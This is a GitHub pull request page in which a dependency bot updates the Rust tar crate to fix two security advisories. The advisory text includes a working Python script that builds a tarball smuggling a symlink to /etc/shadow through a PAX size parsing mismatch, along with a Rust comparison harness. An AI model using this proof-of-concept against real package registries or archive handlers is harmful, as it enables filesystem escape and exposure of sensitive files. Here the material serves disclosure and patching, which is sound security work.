Skip to content

chore(deps): update rust crate tar to v0.4.45 [security]#8668

Merged
renovate[bot] merged 1 commit intomainfrom
renovate/crate-tar-vulnerability
Mar 21, 2026
Merged

chore(deps): update rust crate tar to v0.4.45 [security]#8668
renovate[bot] merged 1 commit intomainfrom
renovate/crate-tar-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Mar 20, 2026

This PR contains the following updates:

Package Type Update Change
tar dependencies patch 0.4.440.4.45

GitHub Vulnerability Alerts

CVE-2026-33056

Summary

When unpacking a tar archive, the tar crate's unpack_dir function uses fs::metadata() to check whether a path that already exists is a directory. Because fs::metadata() follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply chmod to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root.

Reproducer

A malicious tarball contains two entries: (1) a symlink foo pointing to an arbitrary external directory, and (2) a directory entry foo/. (or just foo). When unpacked, create_dir("foo") fails with EEXIST because the symlink is already on disk. The fs::metadata() check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via chmod, which also follows the symlink — modifying the permissions of the external target directory.

Fix

The fix is very simple, we now use fs::symlink_metadata() in unpack_dir, so symlinks are detected and rejected rather than followed.

Credit

This issue was reported by @​xokdvium - thank you!

CVE-2026-33055

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

#!/usr/bin/env python3
B = 512

def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d

def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)

INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.


Release Notes

alexcrichton/tar-rs (tar)

v0.4.45

Compare Source


Configuration

📅 Schedule: Branch creation - "" in timezone America/Chicago, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot enabled auto-merge (squash) March 20, 2026 21:12
@greptile-apps
Copy link
Copy Markdown
Contributor

greptile-apps Bot commented Mar 20, 2026

PR author is in the excluded authors list.

@github-actions
Copy link
Copy Markdown

github-actions Bot commented Mar 20, 2026

Hyperfine Performance

mise x -- echo

Command Mean [ms] Min [ms] Max [ms] Relative
mise-2026.3.9 x -- echo 24.6 ± 1.0 23.6 37.2 1.00
mise x -- echo 24.9 ± 0.8 23.8 30.9 1.01 ± 0.05

mise env

Command Mean [ms] Min [ms] Max [ms] Relative
mise-2026.3.9 env 24.1 ± 0.5 23.1 26.3 1.00
mise env 24.3 ± 0.5 23.2 25.9 1.01 ± 0.03

mise hook-env

Command Mean [ms] Min [ms] Max [ms] Relative
mise-2026.3.9 hook-env 24.4 ± 1.0 23.5 40.4 1.00
mise hook-env 24.7 ± 0.6 23.6 27.4 1.01 ± 0.05

mise ls

Command Mean [ms] Min [ms] Max [ms] Relative
mise-2026.3.9 ls 24.0 ± 0.8 22.9 36.3 1.01 ± 0.04
mise ls 23.8 ± 0.5 23.0 27.2 1.00

xtasks/test/perf

Command mise-2026.3.9 mise Variance
install (cached) 153ms 152ms +0%
ls (cached) 85ms 85ms +0%
bin-paths (cached) 87ms 88ms -1%
task-ls (cached) 849ms 822ms +3%

@renovate renovate Bot force-pushed the renovate/crate-tar-vulnerability branch from 73d98bf to 984d5ad Compare March 21, 2026 10:08
@renovate renovate Bot force-pushed the renovate/crate-tar-vulnerability branch from 984d5ad to f9bb074 Compare March 21, 2026 10:13
@renovate renovate Bot merged commit dceaf9e into main Mar 21, 2026
33 checks passed
@renovate renovate Bot deleted the renovate/crate-tar-vulnerability branch March 21, 2026 10:33
This was referenced Mar 21, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants